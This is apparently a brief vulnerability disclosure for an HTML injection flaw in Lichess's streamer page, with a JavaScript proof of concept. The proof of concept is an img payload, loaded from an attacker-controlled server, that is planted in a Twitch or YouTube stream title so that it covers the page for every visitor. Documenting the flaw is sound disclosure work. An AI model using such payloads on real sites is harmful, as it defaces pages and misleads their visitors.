CVE-2026-35208 Lichess HTML注入漏洞

// Conceptual PoC: Setting a malicious stream title // Attacker sets the following title on their Twitch/YouTube dashboard // Payload example to inject an image overlay (defacement) const payload = '<img src="https://attacker-controlled-server.com/fake-logo.png" style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999;">'; // When Lichess fetches the stream status, it renders this string directly into the DOM // Result: The image covers the Lichess streamer page for all visitors. console.log("Malicious Title Payload: " + payload);